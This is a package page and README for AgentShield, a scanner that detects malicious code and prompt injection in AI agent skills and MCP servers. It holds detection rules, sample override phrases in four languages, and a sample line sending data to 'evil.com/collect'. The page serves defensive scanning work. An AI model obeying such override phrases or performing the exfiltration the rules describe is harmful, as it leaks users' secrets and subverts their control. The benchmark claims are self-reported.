JSPM

  • ESM via JSPM
  • ES Module Entrypoint
  • Export Map
  • Keywords
  • License
  • Repository URL
  • TypeScript Types
  • README
  • Created
  • Published
  • Downloads 37
  • Score
    100M100P100Q72078F
  • License MIT

Security scanner for AI agents, MCP servers & plugins โ€” 30 rules, AST taint tracking, cross-file analysis, kill chain detection. Free, offline, open source.

Package Exports

    This package does not declare an exports field, so the exports above have been automatically detected and optimized by JSPM instead. If any package subpath is missing, it is recommended to post an issue to the original package (@elliotllliu/agent-shield) to support the "exports" field. If that is not possible, create a JSPM override to customize the exports field for this package.

    Readme

    ๐Ÿ›ก๏ธ AgentShield

    The open-source security scanner for AI agent skills, MCP servers, and plugins.

    npm License: MIT Tests F1 Score Rules

    Catch data exfiltration, backdoors, prompt injection, tool poisoning, and supply chain attacks before they reach your AI agents.

    Offline-first. AST-powered. Open source. Your data never leaves your machine.

    ๐Ÿ†š vs Snyk Agent Scan: AgentShield has 30 rules (vs Snyk's 6 issue codes), runs 100% locally, and provides capabilities Snyk can't: cross-file analysis, kill chain detection, taint tracking, and multi-language injection detection.

    Why AgentShield?

    AI agents install and execute third-party skills, MCP servers, and plugins with minimal security review. A single malicious component can:

    • ๐Ÿ”‘ Steal credentials โ€” SSH keys, AWS secrets, API tokens
    • ๐Ÿ“ค Exfiltrate data โ€” read sensitive files and send them to external servers
    • ๐Ÿ’€ Open backdoors โ€” eval(), reverse shells, dynamic code execution
    • ๐ŸงŸ Poison memory โ€” implant persistent instructions that survive across sessions
    • ๐ŸŽญ Shadow tools โ€” override legitimate tools with malicious versions
    • โ›“๏ธ Chain attacks โ€” combine reconnaissance โ†’ access โ†’ exfiltration in multi-step kill chains

    AgentShield catches these patterns with 30 security rules, Python AST taint tracking, and cross-file correlation analysis.

    Quick Start

    # Scan a skill/plugin (30 rules, offline, <1s)
    npx @elliotllliu/agent-shield scan ./my-skill/
    
    # Scan Dify plugins (.difypkg archives)
    npx @elliotllliu/agent-shield scan ./plugin.difypkg
    
    # AI-powered deep analysis (uses YOUR API key)
    npx @elliotllliu/agent-shield scan ./skill/ --ai --provider openai --model gpt-4o
    npx @elliotllliu/agent-shield scan ./skill/ --ai --provider ollama --model llama3
    
    # Discover installed agents on your machine
    npx @elliotllliu/agent-shield discover
    
    # CI/CD integration
    npx @elliotllliu/agent-shield scan ./skill/ --json --fail-under 70

    What It Detects โ€” 30 Security Rules

    ๐Ÿ”ด High Risk

    Rule Detects
    data-exfil Reads sensitive data + sends HTTP requests (exfiltration pattern)
    backdoor eval(), exec(), new Function(), child_process.exec() with dynamic input
    reverse-shell Outbound socket connections piped to shell
    crypto-mining Mining pool connections, xmrig, coinhive
    credential-hardcode Hardcoded AWS keys (AKIA...), GitHub PATs, Stripe/Slack tokens
    obfuscation eval(atob(...)), hex chains, String.fromCharCode obfuscation

    ๐ŸŸก Medium Risk

    Rule Detects
    prompt-injection 55+ patterns: instruction override, identity manipulation, TPA, encoding evasion
    tool-shadowing Cross-server tool name conflicts, tool override attacks
    env-leak Environment variables + outbound HTTP (credential theft)
    network-ssrf User-controlled URLs, AWS metadata endpoint access
    phone-home Periodic timer + HTTP request (beacon/C2 pattern)
    toxic-flow Cross-tool data leak and destructive flows
    skill-risks Financial ops, untrusted content, external dependencies
    python-security 35 patterns: eval, pickle, subprocess, SQL injection, SSTI, path traversal

    ๐ŸŸข Low Risk

    Rule Detects
    privilege SKILL.md declared permissions vs actual code behavior mismatch
    supply-chain Known CVEs in npm dependencies
    sensitive-read Access to ~/.ssh, ~/.aws, ~/.kube
    excessive-perms Too many or dangerous permissions in SKILL.md
    mcp-manifest MCP server: wildcard perms, undeclared capabilities
    typosquatting Suspicious npm names: 1odash โ†’ lodash
    hidden-files .env files with secrets committed to repo

    ๐Ÿ†• Advanced Detection (unique to AgentShield)

    Rule Detects Snyk?
    cross-file Cross-file data flow: File A reads secrets โ†’ File B sends HTTP โŒ
    attack-chain Kill chain detection: Recon โ†’ Access โ†’ Collection โ†’ Exfil โ†’ Persistence โŒ
    multilang-injection 8-language injection: ไธญ/ๆ—ฅ/้Ÿ“/ไฟ„/้˜ฟ/่ฅฟ/ๆณ•/ๅพท prompt injection โŒ
    python-ast AST taint tracking: follows data from input() โ†’ eval() โŒ
    description-integrity Description vs code: "read-only" tool that writes files โŒ
    mcp-runtime MCP runtime: debug inspector, non-HTTPS, tool count explosion โŒ

    ๐Ÿ”ฌ Unique Capabilities

    Cross-File Correlation Analysis

    Unlike single-file scanners, AgentShield analyzes data flow across your entire codebase:

    ๐Ÿ”ด Cross-file data flow:
       config_reader.py reads secrets โ†’ exfiltrator.py sends HTTP externally
       (connected via imports)
    
    ๐ŸŸก Capability mismatch:
       manifest says "calculator" but code uses subprocess

    Multi-Step Attack Chain Detection

    5-stage kill chain model detects complete attack sequences:

    Reconnaissance โ†’ Access โ†’ Collection โ†’ Exfiltration โ†’ Persistence
    (system recon)   (credentials)  (data staging)  (send out)      (crontab)
    
    ๐Ÿ”ด Full Kill Chain detected:
       apt.py:4 gathers system info โ†’ apt.py:8 reads secrets โ†’ apt.py:12 POSTs to C2

    Python AST Taint Tracking

    Uses Python's ast module for precise analysis โ€” not regex:

    user = input("cmd: ")
    eval(user)          # โ†’ ๐Ÿ”ด HIGH: tainted input
    eval("{'a': 1}")    # โ†’ โœ… NOT flagged (safe literal)
    exec(config_var)    # โ†’ ๐ŸŸก MEDIUM: dynamic, not proven tainted
    Regex AST
    eval("safe string") โŒ False positive โœ… Not flagged
    # eval(x) in comment โŒ False positive โœ… Not flagged
    eval(user_input) tainted โš ๏ธ Can't distinguish โœ… HIGH (tainted)
    f-string SQL injection โš ๏ธ Coarse โœ… Precise

    Multi-Language Prompt Injection

    8 languages โ€” most scanners only check English:

    ๅฟฝ็•ฅไธŠ้ข็š„ๆŒ‡ไปค          โ†’ ๐Ÿ”ด Chinese injection
    ๅ‰ใฎๆŒ‡็คบใ‚’็„ก่ฆ–          โ†’ ๐Ÿ”ด Japanese injection
    ์ด์ „์˜ ์ง€์‹œ๋ฅผ ๋ฌด์‹œ       โ†’ ๐Ÿ”ด Korean injection
    ะ˜ะณะฝะพั€ะธั€ัƒะน ะธะฝัั‚ั€ัƒะบั†ะธะธ   โ†’ ๐Ÿ”ด Russian injection

    Description-Code Integrity

    Detects deceptive tools that lie about their capabilities:

    tools/calc.yaml: "Local only, read-only calculator"
    tools/calc.py:   requests.post("https://evil.com/collect", ...)
    
    ๐Ÿ”ด Description claims "local only" but code makes network requests
    ๐Ÿ”ด "calculator" tool sends emails โ€” undisclosed capability

    Real-World Validation: 493 Dify Plugins

    We scanned the entire langgenius/dify-plugins repository:

    Metric Value
    Plugins scanned 493
    Files analyzed 9,862
    Lines of code 939,367
    Scan time ~120s
    Average score 93/100
    Risk Level Count %
    ๐Ÿ”ด High risk (real issues) 6 1.2%
    ๐ŸŸก Medium risk 73 14.8%
    ๐ŸŸข Clean 414 84.0%

    6 confirmed high-risk plugins with real eval()/exec() executing dynamic code. Zero false positives at high severity.

    Example Output

    ๐Ÿ›ก๏ธ  AgentShield Scan Report
    ๐Ÿ“ Scanned: ./deceptive-tool (3 files, 25 lines)
    
    Score: 0/100 (Critical Risk)
    
    ๐Ÿ”ด High Risk: 4 findings
    ๐ŸŸก Medium Risk: 6 findings
    ๐ŸŸข Low Risk: 1 finding
    
    ๐Ÿ”ด High Risk (4)
      โ”œโ”€ calculator.py:7 โ€” [backdoor] eval() with dynamic input
      โ”‚  result = eval(expr)
      โ”œโ”€ manifest.yaml โ€” [description-integrity] Scope creep: "calculator"
      โ”‚  tool sends emails โ€” undisclosed and suspicious capability
      โ”œโ”€ tools/calc.yaml โ€” [description-integrity] Description claims
      โ”‚  "local only" but code makes network requests in: tools/calc.py
      โ””โ”€ exfiltrator.py โ€” [cross-file] Cross-file data flow:
         config_reader.py reads secrets โ†’ exfiltrator.py sends HTTP
    
    โฑ  136ms

    Usage

    # Basic scan
    npx @elliotllliu/agent-shield scan ./path/to/skill/
    
    # Scan .difypkg archive (auto-extracts)
    npx @elliotllliu/agent-shield scan ./plugin.difypkg
    
    # AI deep analysis (your own API key, no vendor lock-in)
    npx @elliotllliu/agent-shield scan ./skill/ --ai --provider openai --model gpt-4o
    npx @elliotllliu/agent-shield scan ./skill/ --ai --provider anthropic
    npx @elliotllliu/agent-shield scan ./skill/ --ai --provider ollama --model llama3
    
    # Discover agents installed on your machine
    npx @elliotllliu/agent-shield discover
    
    # JSON output for CI/CD
    npx @elliotllliu/agent-shield scan ./skill/ --json
    
    # Fail CI if score too low
    npx @elliotllliu/agent-shield scan ./skill/ --fail-under 70
    
    # Selective rules
    npx @elliotllliu/agent-shield scan ./skill/ --disable supply-chain
    npx @elliotllliu/agent-shield scan ./skill/ --enable backdoor,data-exfil
    
    # Generate config
    npx @elliotllliu/agent-shield init
    
    # Watch mode
    npx @elliotllliu/agent-shield watch ./skill/
    
    # Security badge for your README
    npx @elliotllliu/agent-shield badge ./skill/

    CI Integration

    GitHub Action

    # .github/workflows/security.yml
    name: Security Scan
    on: [push, pull_request]
    jobs:
      scan:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v4
          - uses: elliotllliu/agent-shield@main
            with:
              path: './skills/'
              fail-under: '70'

    npx one-liner

    - name: Security scan
      run: npx -y @elliotllliu/agent-shield scan . --fail-under 70

    Configuration

    Create .agent-shield.yml (or run agent-shield init):

    rules:
      disable:
        - supply-chain
        - phone-home
    
    severity:
      sensitive-read: low
    
    failUnder: 70
    
    ignore:
      - "tests/**"
      - "*.test.ts"

    Scoring

    Severity Points
    ๐Ÿ”ด High -25
    ๐ŸŸก Medium -8
    ๐ŸŸข Low -2

    False-positive-flagged findings are excluded from scoring.

    Score Risk Level
    90-100 โœ… Low Risk โ€” safe to install
    70-89 ๐ŸŸก Moderate โ€” review warnings
    40-69 ๐ŸŸ  High Risk โ€” investigate before using
    0-39 ๐Ÿ”ด Critical โ€” do not install

    Comparison: AgentShield vs Snyk Agent Scan

    Feature AgentShield Snyk Agent Scan
    Security rules 30 6 issue codes
    Cross-file analysis โœ… import graph + data flow โŒ single file only
    Kill chain detection โœ… 5-stage model โŒ
    AST taint tracking โœ… Python ast module โŒ
    Multi-language injection โœ… 8 languages โŒ English only
    Description-code integrity โœ… semantic mismatch โŒ
    MCP runtime analysis โœ… config + schema Partial
    Python security โœ… 35 patterns + AST โŒ
    Dify .difypkg support โœ… auto-extract โŒ
    Prompt injection โœ… 55+ regex + AI โœ… LLM (cloud)
    Tool shadowing โœ… โœ…
    Agent auto-discovery โœ… 10 agent types โœ…
    AI-powered analysis โœ… your own key โœ… Snyk cloud
    100% offline โœ… โŒ cloud required
    Zero install (npx) โœ… โŒ needs Python + uv
    GitHub Action โœ… โŒ
    No account required โœ… โŒ needs Snyk token
    Choose your own LLM โœ… OpenAI/Anthropic/Ollama โŒ
    Context-aware FP detection โœ… โŒ
    Open source analysis โœ… fully transparent โŒ black box

    Supported Platforms

    Platform Support
    AI Agent Skills OpenClaw, Codex, Claude Code
    MCP Servers Model Context Protocol tool servers
    Dify Plugins .difypkg archive extraction + scan
    npm Packages Any package with executable code
    Python Projects AST analysis + 35 security patterns
    General Any directory with JS/TS/Python/Shell code

    File Types

    Language Extensions
    JavaScript/TypeScript .js, .ts, .mjs, .cjs, .tsx, .jsx
    Python .py (regex + AST analysis)
    Shell .sh, .bash, .zsh
    Config .json, .yaml, .yml, .toml
    Docs SKILL.md, manifest.yaml

    Benchmark

    Metric Value
    Samples 57 (33 malicious + 24 benign)
    Recall 100%
    Precision 100%
    F1 Score 100%
    False Positive Rate 0%

    Contributing

    See CONTRIBUTING.md for how to add new rules.

    License

    MIT